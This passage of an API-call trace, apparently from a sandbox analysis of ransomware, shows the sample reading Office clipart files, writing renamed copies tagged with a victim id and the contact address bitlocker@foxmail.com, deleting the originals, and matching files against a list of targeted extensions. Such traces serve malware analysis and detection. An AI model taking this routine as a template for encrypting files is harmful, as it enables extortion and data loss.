office\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x20 [0187.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0187.704] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.704] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0187.704] GetLastError () returned 0x0 [0187.704] ReadFile (in: hFile=0x1e4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xaec, lpOverlapped=0x0) returned 1 [0187.724] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xaf0, lpOverlapped=0x0) returned 1 [0187.725] ReadFile (in: hFile=0x1e4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0187.725] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.725] SetEndOfFile (hFile=0x1c8) returned 1 [0187.725] CloseHandle (hObject=0x1c8) returned 1 [0187.725] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.725] SetEndOfFile (hFile=0x1e4) returned 1 [0187.726] CloseHandle (hObject=0x1e4) returned 1 [0187.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf")) returned 1 [0187.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0187.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0187.727] lstrlenW (lpString=".doc") returned 4 [0187.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.727] lstrlenW (lpString=".docx") returned 5 [0187.727] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.727] lstrlenW (lpString=".pdf") returned 4 [0187.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.727] lstrlenW (lpString=".xls") returned 4 [0187.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.727] lstrlenW (lpString=".xlsx") returned 5 [0187.727] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.727] lstrlenW (lpString=".ppt") returned 4 [0187.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0187.727] lstrlenW (lpString=".zip") returned 4 [0187.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.727] lstrlenW (lpString=".rar") returned 4 [0187.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.727] lstrlenW (lpString=".bz2") returned 4 [0187.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.727] lstrlenW (lpString=".7z") returned 3 [0187.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0187.727] lstrlenW (lpString=".dbf") returned 4 [0187.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0187.727] lstrlenW (lpString=".1cd") returned 4 [0187.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0187.728] lstrlenW (lpString=".jpg") returned 4 [0187.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0187.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0187.728] lstrlenW (lpString=".doc") returned 4 [0187.728] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.728] lstrlenW (lpString=".docx") returned 5 [0187.728] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.728] lstrlenW (lpString=".pdf") returned 4 [0187.728] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.728] lstrlenW (lpString=".xls") returned 4 [0187.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.728] lstrlenW (lpString=".xlsx") returned 5 [0187.728] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.728] lstrlenW (lpString=".ppt") returned 4 [0187.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0187.728] lstrlenW (lpString=".zip") returned 4 [0187.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.728] lstrlenW (lpString=".rar") returned 4 [0187.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.728] lstrlenW (lpString=".bz2") returned 4 [0187.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.728] lstrlenW (lpString=".7z") returned 3 [0187.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0187.728] lstrlenW (lpString=".dbf") returned 4 [0187.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0187.729] lstrlenW (lpString=".1cd") returned 4 [0187.729] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0187.729] lstrlenW (lpString=".jpg") returned 4 [0187.729] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.729] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.729] lstrlenW (lpString="DD01157_.WMF") returned 12 [0187.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0187.729] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3588) returned 1 [0187.729] CloseHandle (hObject=0x1e4) returned 1 [0187.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf")) returned 0x20 [0187.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0187.730] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.730] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0187.730] GetLastError () returned 0x0 [0187.730] ReadFile (in: hFile=0x1e4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xe04, lpOverlapped=0x0) returned 1 [0187.746] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xe10, lpOverlapped=0x0) returned 1 [0187.747] ReadFile (in: hFile=0x1e4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0187.747] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.747] SetEndOfFile (hFile=0x1c8) returned 1 [0187.747] CloseHandle (hObject=0x1c8) returned 1 [0187.747] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.747] SetEndOfFile (hFile=0x1e4) returned 1 [0187.748] CloseHandle (hObject=0x1e4) returned 1 [0187.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.748] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf")) returned 1 [0187.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0187.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0187.748] lstrlenW (lpString=".doc") returned 4 [0187.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.748] lstrlenW (lpString=".docx") returned 5 [0187.748] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.748] lstrlenW (lpString=".pdf") returned 4 [0187.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.749] lstrlenW (lpString=".xls") returned 4 [0187.749] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.749] lstrlenW (lpString=".xlsx") returned 5 [0187.749] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.749] lstrlenW (lpString=".ppt") returned 4 [0187.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0187.749] lstrlenW (lpString=".zip") returned 4 [0187.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.749] lstrlenW (lpString=".rar") returned 4 [0187.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.749] lstrlenW (lpString=".bz2") returned 4 [0187.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.749] lstrlenW (lpString=".7z") returned 3 [0187.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0187.749] lstrlenW (lpString=".dbf") returned 4 [0187.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0187.749] lstrlenW (lpString=".1cd") returned 4 [0187.749] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0187.749] lstrlenW (lpString=".jpg") returned 4 [0187.749] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0187.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0187.749] lstrlenW (lpString=".doc") returned 4 [0187.749] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.749] lstrlenW (lpString=".docx") returned 5 [0187.749] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.749] lstrlenW (lpString=".pdf") returned 4 [0187.749] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.749] lstrlenW (lpString=".xls") returned 4 [0187.750] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.750] lstrlenW (lpString=".xlsx") returned 5 [0187.750] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.750] lstrlenW (lpString=".ppt") returned 4 [0187.750] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0187.750] lstrlenW (lpString=".zip") returned 4 [0187.750] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.750] lstrlenW (lpString=".rar") returned 4 [0187.750] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.750] lstrlenW (lpString=".bz2") returned 4 [0187.750] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.750] lstrlenW (lpString=".7z") returned 3 [0187.750] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0187.750] lstrlenW (lpString=".dbf") returned 4 [0187.750] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0187.750] lstrlenW (lpString=".1cd") returned 4 [0187.750] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0187.750] lstrlenW (lpString=".jpg") returned 4 [0187.750] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.750] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.750] lstrlenW (lpString="DD01163_.WMF") returned 12 [0187.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0187.751] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2300) returned 1 [0187.751] CloseHandle (hObject=0x1e4) returned 1 [0187.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x20 [0187.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0187.751] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.751] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0187.752] GetLastError () returned 0x0 [0187.752] ReadFile (in: hFile=0x1e4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x8fc, lpOverlapped=0x0) returned 1 [0187.765] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x900, lpOverlapped=0x0) returned 1 [0187.765] ReadFile (in: hFile=0x1e4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0187.766] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.766] SetEndOfFile (hFile=0x1c8) returned 1 [0187.766] CloseHandle (hObject=0x1c8) returned 1 [0187.766] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.766] SetEndOfFile (hFile=0x1e4) returned 1 [0187.767] CloseHandle (hObject=0x1e4) returned 1 [0187.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.767] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf")) returned 1 [0187.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0187.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0187.767] lstrlenW (lpString=".doc") returned 4 [0187.767] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.767] lstrlenW (lpString=".docx") returned 5 [0187.767] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.767] lstrlenW (lpString=".pdf") returned 4 [0187.767] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.767] lstrlenW (lpString=".xls") returned 4 [0187.767] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.767] lstrlenW (lpString=".xlsx") returned 5 [0187.767] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.767] lstrlenW (lpString=".ppt") returned 4 [0187.767] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0187.767] lstrlenW (lpString=".zip") returned 4 [0187.768] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.768] lstrlenW (lpString=".rar") returned 4 [0187.768] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.768] lstrlenW (lpString=".bz2") returned 4 [0187.768] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.768] lstrlenW (lpString=".7z") returned 3 [0187.768] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0187.768] lstrlenW (lpString=".dbf") returned 4 [0187.768] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0187.768] lstrlenW (lpString=".1cd") returned 4 [0187.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0187.768] lstrlenW (lpString=".jpg") returned 4 [0187.768] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0187.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0187.768] lstrlenW (lpString=".doc") returned 4 [0187.768] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.768] lstrlenW (lpString=".docx") returned 5 [0187.768] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.768] lstrlenW (lpString=".pdf") returned 4 [0187.768] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.768] lstrlenW (lpString=".xls") returned 4 [0187.768] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.768] lstrlenW (lpString=".xlsx") returned 5 [0187.768] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.768] lstrlenW (lpString=".ppt") returned 4 [0187.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0187.938] lstrlenW (lpString=".zip") returned 4 [0187.938] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.938] lstrlenW (lpString=".rar") returned 4 [0187.938] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.938] lstrlenW (lpString=".bz2") returned 4 [0187.946] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.946] lstrlenW (lpString=".7z") returned 3 [0187.946] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0187.953] lstrlenW (lpString=".dbf") returned 4 [0187.953] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0187.953] lstrlenW (lpString=".1cd") returned 4 [0187.953] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0187.960] lstrlenW (lpString=".jpg") returned 4 [0187.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.964] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.964] lstrlenW (lpString="DD01179_.WMF") returned 12 [0187.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0187.964] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2024) returned 1 [0187.964] CloseHandle (hObject=0x1d8) returned 1 [0187.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x20 [0187.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft 